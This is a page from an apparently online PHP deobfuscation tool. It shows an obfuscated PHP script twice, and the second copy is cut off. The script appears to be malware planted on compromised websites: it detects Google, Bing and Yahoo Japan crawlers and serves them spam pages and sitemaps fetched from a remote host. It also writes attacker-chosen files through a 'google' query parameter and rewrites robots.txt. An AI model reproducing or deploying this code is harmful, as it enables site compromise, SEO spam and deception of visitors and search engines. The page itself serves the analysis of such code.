Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

error_reporting(0);$OOOOOO="cXdlcnR5dWlvcGFzZGZnaGprbHp4Y3Zibm1RV0VSVFZmFmYWZhlVSU9QQVNERk..

Decoded Output download

<?  error_reporting(0);$OOOOOO="cXdlcnR5dWlvcGFzZGZnaGprbHp4Y3Zibm1RV0VSVFZmFmYWZhlVSU9QQVNERkdISktMWlhDVkJOTV8tIj8+IDwuLT06LzEyMzA2NTQ4NzknOygpJl4kW11cXCV7fSEq";$OOOOOO=str_replace("ZmFmYWZh","",$OOOOOO);$O=base64_decode($OOOOOO);date_default_timezone_set($O{35}.$O{29}.$O{47});$OO = @$_SERVER[$O{38}.$O{34}.$O{47}.$O{32}.$O{51}.$O{28}.$O{50}.$O{30}.$O{52}.$O{29}.$O{34}.$O{34}.$O{30}];$Oo = @$_SERVER[$O{29}.$O{28}.$O{26}.$O{32}.$O{28}.$O{37}.$O{30}.$O{52}.$O{32}.$O{29}.$O{33}];$OoO = @$_SERVER[$O{37}.$O{28}.$O{29}.$O{48}.$O{28}.$O{29}.$O{52}.$O{50}.$O{36}.$O{51}.$O{28}];$OOOOO = @$_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{32}.$O{37}.$O{28}.$O{29}.$O{52}.$O{36}.$O{40}.$O{28}.$O{50}.$O{30}];$OOOOOo = @$_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{29}.$O{28}.$O{39}.$O{28}.$O{29}.$O{28}.$O{29}];$OOOOOOO = ((isset($_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{37}]) && $_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{37}] == $O{8}.$O{24}) || (isset($_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{46}.$O{52}.$O{39}.$O{34}.$O{29}.$O{27}.$O{36}.$O{29}.$O{38}.$O{28}.$O{38}.$O{52}.$O{35}.$O{29}.$O{34}.$O{30}.$O{34}]) && $_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{46}.$O{52}.$O{39}.$O{34}.$O{29}.$O{27}.$O{36}.$O{29}.$O{38}.$O{28}.$O{38}.$O{52}.$O{35}.$O{29}.$O{34}.$O{30}.$O{34}] == $O{15}.$O{4}.$O{4}.$O{9}.$O{11})) ? $O{15}.$O{4}.$O{4}.$O{9}.$O{11}.$O{62}.$O{63}.$O{63} : $O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63};$OOOOOOOo = $OOOOOOO . $OoO;$OOOOO = @strtolower($OOOOO);$OOOOOo = @strtolower($OOOOOo);$Oo = substr($Oo, 1);$OOO = false;if ( empty($Oo) ) {$Oo = $O{7}.$O{24}.$O{12}.$O{2}.$O{20}.$O{59}.$O{9}.$O{15}.$O{9};}$Oooo = explode($O{63},$Oo);$Ooooo = $Oooo[0];if (strstr($Ooooo, $O{7}.$O{24}.$O{12}.$O{2}.$O{20}.$O{64}.$O{59}.$O{9}.$O{15}.$O{9})||strstr($Ooooo, $O{7}.$O{24}.$O{12}.$O{2}.$O{20}.$O{65}.$O{59}.$O{9}.$O{15}.$O{9})) {$Ooooo = $Ooooo;} else {$Ooooo = '';}if (strstr($Oo, $O{12}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9})) {$Ooooo = $Ooooo?$Ooooo.$O{63}:$Ooooo;OooooO($O,$OOOOOOOo,$OOOOOOO,$Ooooo, $O{55});}if (strstr($Oo, $O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9})) {$Ooooo = $Ooooo?$Ooooo.$O{63}:$Ooooo;OooooO($O,$OOOOOOOo,$OOOOOOO,$Ooooo);}function OooooO($O,$OOOOOOOo,$OOOOOOO,$Ooooo='',$qs='') {$Oooooo = $O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63} .$O{16}.$O{9}.$O{3}.$O{1}.$O{64}.$O{59}.$O{16}.$O{9}.$O{9}.$O{3}.$O{70}.$O{59}.$O{20}.$O{5}.$O{19}.$O{63}.$O{36}.$O{9}.$O{7}.$O{63}.$O{11}.$O{7}.$O{4}.$O{2}.$O{32}.$O{3}.$O{18}.$O{36}.$O{9}.$O{7}.$O{59}.$O{9}.$O{15}.$O{9}.$O{55}.$O{11}.$O{4}.$O{5}.$O{9}.$O{2}.$O{61}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{78}.$O{24}.$O{6}.$O{25}.$O{61}.$O{68}.$O{67}.$O{67}.$O{67}.$O{78}.$O{9}.$O{3}.$O{61}.$Ooooo;$Ooooooo = json_decode(OooooOO($O,$Oooooo), true);if (empty($Ooooooo)||$Ooooooo[$O{21}.$O{8}.$O{12}.$O{2}] == 404) {exit();}$Oooooooo = $Ooooooo[$O{12}.$O{10}.$O{4}.$O{10}];header($O{47}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{53}.$O{4}.$O{5}.$O{9}.$O{2}.$O{62}.$O{4}.$O{2}.$O{20}.$O{4}.$O{63}.$O{20}.$O{25}.$O{18});$OOOO = $O{58}.$O{55}.$O{20}.$O{25}.$O{18}.$O{57}.$O{22}.$O{2}.$O{3}.$O{11}.$O{7}.$O{8}.$O{24}.$O{57}.$O{61}.$O{57}.$O{54}.$O{64}.$O{59}.$O{67}.$O{54}.$O{57}.$O{2}.$O{24}.$O{21}.$O{8}.$O{12}.$O{7}.$O{24}.$O{14}.$O{57}.$O{61}.$O{57}.$O{54}.$O{32}.$O{30}.$O{39}.$O{53}.$O{71}.$O{54}.$O{55}.$O{56};$OOOO .= $O{58}.$O{6}.$O{3}.$O{18}.$O{11}.$O{2}.$O{4}.$O{57}.$O{20}.$O{25}.$O{18}.$O{24}.$O{11}.$O{61}.$O{54}.$O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$O{1}.$O{1}.$O{1}.$O{59}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{11}.$O{59}.$O{8}.$O{3}.$O{14}.$O{63}.$O{11}.$O{21}.$O{15}.$O{2}.$O{25}.$O{10}.$O{11}.$O{63}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{63}.$O{67}.$O{59}.$O{73}.$O{54}.$O{56}.$O{58}.$O{6}.$O{3}.$O{18}.$O{56}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{58}.$O{18}.$O{8}.$O{21}.$O{56}.$OOOOOOOo.$O{63}.$O{58}.$O{63}.$O{18}.$O{8}.$O{21}.$O{56}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{58}.$O{63}.$O{6}.$O{3}.$O{18}.$O{56};foreach ($Oooooooo as $mk => $mv) {$OOOO .= $O{58}.$O{6}.$O{3}.$O{18}.$O{56}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{58}.$O{18}.$O{8}.$O{21}.$O{56}.$OOOOOOOo.$O{63}.$qs.$mv.$O{58}.$O{63}.$O{18}.$O{8}.$O{21}.$O{56}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{58}.$O{63}.$O{6}.$O{3}.$O{18}.$O{56};}$OOOO .= $O{58}.$O{63}.$O{6}.$O{3}.$O{18}.$O{11}.$O{2}.$O{4}.$O{56};echo $OOOO;exit();}if(isset($_GET[$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}])){$OoOO=$_GET[$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}];OooooOOOO($O,$OoOO,$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{53}.$O{11}.$O{7}.$O{4}.$O{2}.$O{53}.$O{22}.$O{2}.$O{3}.$O{7}.$O{13}.$O{7}.$O{21}.$O{10}.$O{4}.$O{7}.$O{8}.$O{24}.$O{62}.' '.$OoOO);exit($O{58}.$O{10}.$O{57}.$O{15}.$O{3}.$O{2}.$O{13}.$O{61}.$OoOO.$O{56}.$OoOO.$O{58}.$O{63}.$O{10}.$O{56});}if(isset($_GET[$O{3}.$O{8}.$O{23}.$O{8}.$O{4}.$O{11}])){OooooOOOO($O,$O{3}.$O{8}.$O{23}.$O{8}.$O{4}.$O{11}.$O{59}.$O{4}.$O{20}.$O{4},$O{32}.$O{11}.$O{2}.$O{3}.$O{53}.$O{10}.$O{14}.$O{2}.$O{24}.$O{4}.$O{62}.$O{57}.$O{89}.PHP_EOL.$O{36}.$O{18}.$O{18}.$O{8}.$O{1}.$O{62}.$O{57}.$O{63}.PHP_EOL.$O{47}.$O{3}.$O{10}.$O{1}.$O{18}.$O{53}.$O{12}.$O{2}.$O{18}.$O{10}.$O{5}.$O{62}.$O{66}.PHP_EOL.$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{62}.$OOOOOOOo.$O{63}.$O{55}.$O{12}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{59}.$O{20}.$O{25}.$O{18}.PHP_EOL.$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{62}.$OOOOOOOo.$O{63}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{59}.$O{20}.$O{25}.$O{18}.PHP_EOL.$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{62}.$OOOOOOOo.$O{63}.$O{10}.$O{14}.$O{15}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{59}.$O{20}.$O{25}.$O{18}.PHP_EOL.$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{62}.$OOOOOOOo.$O{63}.$O{65}.$O{68}.$O{69}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{59}.$O{20}.$O{25}.$O{18}.PHP_EOL.$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{62}.$OOOOOOOo.$O{63}.$O{19}.$O{12}.$O{2}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{59}.$O{20}.$O{25}.$O{18}.PHP_EOL.$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{62}.$OOOOOOOo.$O{63}.$O{18}.$O{8}.$O{6}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{59}.$O{20}.$O{25}.$O{18}.PHP_EOL.$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{62}.$OOOOOOOo.$O{63}.$O{22}.$O{24}.$O{13}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{59}.$O{20}.$O{25}.$O{18}.PHP_EOL.$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{62}.$OOOOOOOo.$O{63}.$O{18}.$O{17}.$O{16}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{59}.$O{20}.$O{25}.$O{18});$file_get_contents = file_get_contents($O{3}.$O{8}.$O{23}.$O{8}.$O{4}.$O{11}.$O{59}.$O{4}.$O{20}.$O{4});echo $file_get_contents;exit();}if(stristr($OOOOOo,$O{5}.$O{10}.$O{15}.$O{8}.$O{8}.$O{59}.$O{21}.$O{8}.$O{59}.$O{16}.$O{9})||stristr($OOOOOo,$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{59}.$O{21}.$O{8}.$O{59}.$O{16}.$O{9})||stristr($OOOOOo,$O{23}.$O{7}.$O{24}.$O{14})||(stristr($OOOOOo,$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{59}.$O{21}.$O{8}.$O{25})&&$Oo!=$O{7}.$O{24}.$O{12}.$O{2}.$O{20}.$O{59}.$O{9}.$O{15}.$O{9}&&$Oo!=$O{7}.$O{24}.$O{12}.$O{2}.$O{20}.$O{59}.$O{15}.$O{4}.$O{25}.$O{18})){if(!$OOO){echo OooooOO($O,$O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$O{16}.$O{9}.$O{3}.$O{1}.$O{64}.$O{59}.$O{16}.$O{9}.$O{9}.$O{3}.$O{70}.$O{59}.$O{20}.$O{5}.$O{19}.$O{63}.$O{16}.$O{6}.$O{25}.$O{9}.$O{59}.$O{9}.$O{15}.$O{9}.$O{55}.$O{12}.$O{8}.$O{25}.$O{10}.$O{7}.$O{24}.$O{61}.$OoO.$O{78}.$O{9}.$O{10}.$O{14}.$O{2}.$O{61}.$Oo.$O{78}.$O{4}.$O{2}.$O{25}.$O{9}.$O{18}.$O{10}.$O{4}.$O{2}.$O{61}.$O{66}.$O{73}.$O{78}.$O{23}.$O{8}.$O{4}.$O{61}.$O{67}.$O{78}.$O{9}.$O{3}.$O{61}.$Ooooo);exit();}}if(stristr($OOOOO,$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{23}.$O{8}.$O{4})||stristr($OOOOO,$O{23}.$O{7}.$O{24}.$O{14})||stristr($OOOOO,$O{31}.$O{88}.$O{42})||stristr($OOOOO,$O{5}.$O{88}.$O{16})||stristr($OOOOO,$O{5}.$O{10}.$O{15}.$O{8}.$O{8})||stristr($OOOOO,$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2})||stristr($OOOOO,$O{40}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{23}.$O{8}.$O{4})||stristr($OOOOO,$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{23}.$O{8}.$O{4})){if(!$OOO){$OooOO = OooooOO($O,$O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$O{16}.$O{9}.$O{3}.$O{1}.$O{64}.$O{59}.$O{16}.$O{9}.$O{9}.$O{3}.$O{70}.$O{59}.$O{20}.$O{5}.$O{19}.$O{63}.$O{73}.$O{64}.$O{71}.$O{59}.$O{9}.$O{15}.$O{9}.$O{55}.$O{12}.$O{8}.$O{25}.$O{10}.$O{7}.$O{24}.$O{61}.$OoO.$O{78}.$O{9}.$O{10}.$O{14}.$O{2}.$O{61}.$Oo.$O{78}.$O{23}.$O{8}.$O{4}.$O{61}.$O{64}.$O{78}.$O{4}.$O{2}.$O{25}.$O{9}.$O{18}.$O{10}.$O{4}.$O{2}.$O{61}.$O{66}.$O{73}.$O{78}.$O{9}.$O{3}.$O{61}.$Ooooo);if(!empty($OooOO)){echo $OooOO;exit;}}}	function OooooOO($O,$OooO)	{$OooOO = '';$OooOOO = $O{51}.$O{8}.$O{19}.$O{7}.$O{18}.$O{18}.$O{10}.$O{63}.$O{70}.$O{59}.$O{67}.$O{57}.$O{76}.$O{21}.$O{8}.$O{25}.$O{9}.$O{10}.$O{4}.$O{7}.$O{23}.$O{18}.$O{2}.$O{75}.$O{51}.$O{37}.$O{33}.$O{28}.$O{57}.$O{68}.$O{59}.$O{67}.$O{75}.$O{27}.$O{7}.$O{24}.$O{12}.$O{8}.$O{1}.$O{11}.$O{57}.$O{50}.$O{30}.$O{57}.$O{69}.$O{59}.$O{65}.$O{75}.$O{59}.$O{50}.$O{28}.$O{30}.$O{57}.$O{47}.$O{44}.$O{29}.$O{57}.$O{64}.$O{59}.$O{64}.$O{59}.$O{70}.$O{66}.$O{65}.$O{65}.$O{77};if(function_exists($O{21}.$O{6}.$O{3}.$O{18}.$O{52}.$O{7}.$O{24}.$O{7}.$O{4})){try{$OooOOOO = curl_init();$OoooOO = 30;curl_setopt($OooOOOO,$O{47}.$O{32}.$O{29}.$O{44}.$O{34}.$O{35}.$O{30}.$O{52}.$O{32}.$O{29}.$O{44},$OooO);curl_setopt($OooOOOO,$O{47}.$O{32}.$O{29}.$O{44}.$O{34}.$O{35}.$O{30}.$O{52}.$O{37}.$O{37}.$O{44}.$O{52}.$O{48}.$O{28}.$O{29}.$O{33}.$O{39}.$O{31}.$O{41}.$O{34}.$O{37}.$O{30}, 0);curl_setopt($OooOOOO,$O{47}.$O{32}.$O{29}.$O{44}.$O{34}.$O{35}.$O{30}.$O{52}.$O{37}.$O{37}.$O{44}.$O{52}.$O{48}.$O{28}.$O{29}.$O{33}.$O{39}.$O{31}.$O{35}.$O{28}.$O{28}.$O{29}, 0);curl_setopt($OooOOOO,$O{47}.$O{32}.$O{29}.$O{44}.$O{34}.$O{35}.$O{30}.$O{52}.$O{29}.$O{28}.$O{30}.$O{32}.$O{29}.$O{50}.$O{30}.$O{29}.$O{36}.$O{50}.$O{37}.$O{39}.$O{28}.$O{29},1);curl_setopt($OooOOOO,$O{47}.$O{32}.$O{29}.$O{44}.$O{34}.$O{35}.$O{30}.$O{52}.$O{47}.$O{34}.$O{50}.$O{50}.$O{28}.$O{47}.$O{30}.$O{30}.$O{33}.$O{51}.$O{28}.$O{34}.$O{32}.$O{30},$OoooOO);curl_setopt($OooOOOO,$O{47}.$O{32}.$O{29}.$O{44}.$O{34}.$O{35}.$O{30}.$O{52}.$O{32}.$O{37}.$O{28}.$O{29}.$O{36}.$O{40}.$O{28}.$O{50}.$O{30},$OooOOO);$OooOO = curl_exec($OooOOOO);curl_close($OooOOOO);}catch (Exception $e){}}if(strlen($OooOO)<1&&function_exists($O{13}.$O{7}.$O{18}.$O{2}.$O{52}.$O{14}.$O{2}.$O{4}.$O{52}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{11})){ini_set($O{6}.$O{11}.$O{2}.$O{3}.$O{52}.$O{10}.$O{14}.$O{2}.$O{24}.$O{4},$OooOOO);try{$OooOO = @file_get_contents($OooO);}catch (Exception $e){}}return $OooOO;	}function OooooOOOO($O,$Ooo, $OooOOOOO) {$OoooO = fopen($Ooo, $O{1}) or die('0');fwrite($OoooO, $OooOOOOO);fclose($OoooO);}?>

Did this file decode correctly?

Original Code

error_reporting(0);$OOOOOO="cXdlcnR5dWlvcGFzZGZnaGprbHp4Y3Zibm1RV0VSVFZmFmYWZhlVSU9QQVNERkdISktMWlhDVkJOTV8tIj8+IDwuLT06LzEyMzA2NTQ4NzknOygpJl4kW11cXCV7fSEq";$OOOOOO=str_replace("ZmFmYWZh","",$OOOOOO);$O=base64_decode($OOOOOO);date_default_timezone_set($O{35}.$O{29}.$O{47});$OO = @$_SERVER[$O{38}.$O{34}.$O{47}.$O{32}.$O{51}.$O{28}.$O{50}.$O{30}.$O{52}.$O{29}.$O{34}.$O{34}.$O{30}];$Oo = @$_SERVER[$O{29}.$O{28}.$O{26}.$O{32}.$O{28}.$O{37}.$O{30}.$O{52}.$O{32}.$O{29}.$O{33}];$OoO = @$_SERVER[$O{37}.$O{28}.$O{29}.$O{48}.$O{28}.$O{29}.$O{52}.$O{50}.$O{36}.$O{51}.$O{28}];$OOOOO = @$_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{32}.$O{37}.$O{28}.$O{29}.$O{52}.$O{36}.$O{40}.$O{28}.$O{50}.$O{30}];$OOOOOo = @$_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{29}.$O{28}.$O{39}.$O{28}.$O{29}.$O{28}.$O{29}];$OOOOOOO = ((isset($_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{37}]) && $_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{37}] == $O{8}.$O{24}) || (isset($_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{46}.$O{52}.$O{39}.$O{34}.$O{29}.$O{27}.$O{36}.$O{29}.$O{38}.$O{28}.$O{38}.$O{52}.$O{35}.$O{29}.$O{34}.$O{30}.$O{34}]) && $_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{46}.$O{52}.$O{39}.$O{34}.$O{29}.$O{27}.$O{36}.$O{29}.$O{38}.$O{28}.$O{38}.$O{52}.$O{35}.$O{29}.$O{34}.$O{30}.$O{34}] == $O{15}.$O{4}.$O{4}.$O{9}.$O{11})) ? $O{15}.$O{4}.$O{4}.$O{9}.$O{11}.$O{62}.$O{63}.$O{63} : $O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63};$OOOOOOOo = $OOOOOOO . $OoO;$OOOOO = @strtolower($OOOOO);$OOOOOo = @strtolower($OOOOOo);$Oo = substr($Oo, 1);$OOO = false;if ( empty($Oo) ) {$Oo = $O{7}.$O{24}.$O{12}.$O{2}.$O{20}.$O{59}.$O{9}.$O{15}.$O{9};}$Oooo = explode($O{63},$Oo);$Ooooo = $Oooo[0];if (strstr($Ooooo, $O{7}.$O{24}.$O{12}.$O{2}.$O{20}.$O{64}.$O{59}.$O{9}.$O{15}.$O{9})||strstr($Ooooo, $O{7}.$O{24}.$O{12}.$O{2}.$O{20}.$O{65}.$O{59}.$O{9}.$O{15}.$O{9})) {$Ooooo = $Ooooo;} else {$Ooooo = '';}if (strstr($Oo, $O{12}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9})) {$Ooooo = $Ooooo?$Ooooo.$O{63}:$Ooooo;OooooO($O,$OOOOOOOo,$OOOOOOO,$Ooooo, $O{55});}if (strstr($Oo, $O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9})) {$Ooooo = $Ooooo?$Ooooo.$O{63}:$Ooooo;OooooO($O,$OOOOOOOo,$OOOOOOO,$Ooooo);}function OooooO($O,$OOOOOOOo,$OOOOOOO,$Ooooo='',$qs='') {$Oooooo = $O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63} .$O{16}.$O{9}.$O{3}.$O{1}.$O{64}.$O{59}.$O{16}.$O{9}.$O{9}.$O{3}.$O{70}.$O{59}.$O{20}.$O{5}.$O{19}.$O{63}.$O{36}.$O{9}.$O{7}.$O{63}.$O{11}.$O{7}.$O{4}.$O{2}.$O{32}.$O{3}.$O{18}.$O{36}.$O{9}.$O{7}.$O{59}.$O{9}.$O{15}.$O{9}.$O{55}.$O{11}.$O{4}.$O{5}.$O{9}.$O{2}.$O{61}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{78}.$O{24}.$O{6}.$O{25}.$O{61}.$O{68}.$O{67}.$O{67}.$O{67}.$O{78}.$O{9}.$O{3}.$O{61}.$Ooooo;$Ooooooo = json_decode(OooooOO($O,$Oooooo), true);if (empty($Ooooooo)||$Ooooooo[$O{21}.$O{8}.$O{12}.$O{2}] == 404) {exit();}$Oooooooo = $Ooooooo[$O{12}.$O{10}.$O{4}.$O{10}];header($O{47}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{53}.$O{4}.$O{5}.$O{9}.$O{2}.$O{62}.$O{4}.$O{2}.$O{20}.$O{4}.$O{63}.$O{20}.$O{25}.$O{18});$OOOO = $O{58}.$O{55}.$O{20}.$O{25}.$O{18}.$O{57}.$O{22}.$O{2}.$O{3}.$O{11}.$O{7}.$O{8}.$O{24}.$O{57}.$O{61}.$O{57}.$O{54}.$O{64}.$O{59}.$O{67}.$O{54}.$O{57}.$O{2}.$O{24}.$O{21}.$O{8}.$O{12}.$O{7}.$O{24}.$O{14}.$O{57}.$O{61}.$O{57}.$O{54}.$O{32}.$O{30}.$O{39}.$O{53}.$O{71}.$O{54}.$O{55}.$O{56};$OOOO .= $O{58}.$O{6}.$O{3}.$O{18}.$O{11}.$O{2}.$O{4}.$O{57}.$O{20}.$O{25}.$O{18}.$O{24}.$O{11}.$O{61}.$O{54}.$O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$O{1}.$O{1}.$O{1}.$O{59}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{11}.$O{59}.$O{8}.$O{3}.$O{14}.$O{63}.$O{11}.$O{21}.$O{15}.$O{2}.$O{25}.$O{10}.$O{11}.$O{63}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{63}.$O{67}.$O{59}.$O{73}.$O{54}.$O{56}.$O{58}.$O{6}.$O{3}.$O{18}.$O{56}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{58}.$O{18}.$O{8}.$O{21}.$O{56}.$OOOOOOOo.$O{63}.$O{58}.$O{63}.$O{18}.$O{8}.$O{21}.$O{56}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{58}.$O{63}.$O{6}.$O{3}.$O{18}.$O{56};foreach ($Oooooooo as $mk => $mv) {$OOOO .= $O{58}.$O{6}.$O{3}.$O{18}.$O{56}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{58}.$O{18}.$O{8}.$O{21}.$O{56}.$OOOOOOOo.$O{63}.$qs.$mv.$O{58}.$O{63}.$O{18}.$O{8}.$O{21}.$O{56}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{57}.$O{58}.$O{63}.$O{6}.$O{3}.$O{18}.$O{56};}$OOOO .= $O{58}.$O{63}.$O{6}.$O{3}.$O{18}.$O{11}.$O{2}.$O{4}.$O{56};echo $OOOO;exit();}if(isset($_GET[$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}])){$OoOO=$_GET[$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}];OooooOOOO($O,$OoOO,$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{53}.$O{11}.$O{7}.$O{4}.$O{2}.$O{53}.$O{22}.$O{2}.$O{3}.$O{7}.$O{13}.$O{7}.$O{21}.$O{10}.$O{4}.$O{7}.$O{8}.$O{24}.$O{62}.' '.$OoOO);exit($O{58}.$O{10}.$O{57}.$O{15}.$O{3}.$O{2}.$O{13}.$O{61}.$OoOO.$O{56}.$OoOO.$O{58}.$O{63}.$O{10}.$O{56});}if(isset($_GET[$O{3}.$O{8}.$O{23}.$O{8}.$O{4}.$O{11}])){OooooOOOO($O,$O{3}.$O{8}.$O{23}.$O{8}.$O{4}.$O{11}.$O{59}.$O{4}.$O{20}.$O{4},$O{32}.$O{11}.$O{2}.$O{3}.$O{53}.$O{10}.$O{14}.$O{2}.$O{24}.$O{4}.$O{62}.$O{57}.$O{89}.PHP_EOL.$O{36}.$O{18}.$O{18}.$O{8}.$O{1}.$O{62}.$O{57}.$O{63}.PHP_EOL.$O{47}.$O{3}.$O{10}.$O{1}.$O{18}.$O{53}.$O{12}.$O{2}.$O{18}.$O{10}.$O{5}.$O{62}.$O{66}.PHP_EOL.$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{62}.$OOOOOOOo.$O{63}.$O{55}.$O{12}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{59}.$O{20}.$O{25}.$O{18}.PHP_EOL.$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{62}.$OOOOOOOo.$O{63}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{59}.$O{20}.$O{25}.$O{18}.PHP_EOL.$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{62}.$OOOOOOOo.$O{63}.$O{10}.$O{14}.$O{15}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{59}.$O{20}.$O{25}.$O{18}.PHP_EOL.$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{62}.$OOOOOOOo.$O{63}.$O{65}.$O{68}.$O{69}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{59}.$O{20}.$O{25}.$O{18}.PHP_EOL.$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{62}.$OOOOOOOo.$O{63}.$O{19}.$O{12}.$O{2}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{59}.$O{20}.$O{25}.$O{18}.PHP_EOL.$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{62}.$OOOOOOOo.$O{63}.$O{18}.$O{8}.$O{6}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{59}.$O{20}.$O{25}.$O{18}.PHP_EOL.$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{62}.$OOOOOOOo.$O{63}.$O{22}.$O{24}.$O{13}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{59}.$O{20}.$O{25}.$O{18}.PHP_EOL.$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{62}.$OOOOOOOo.$O{63}.$O{18}.$O{17}.$O{16}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{59}.$O{20}.$O{25}.$O{18});$file_get_contents = 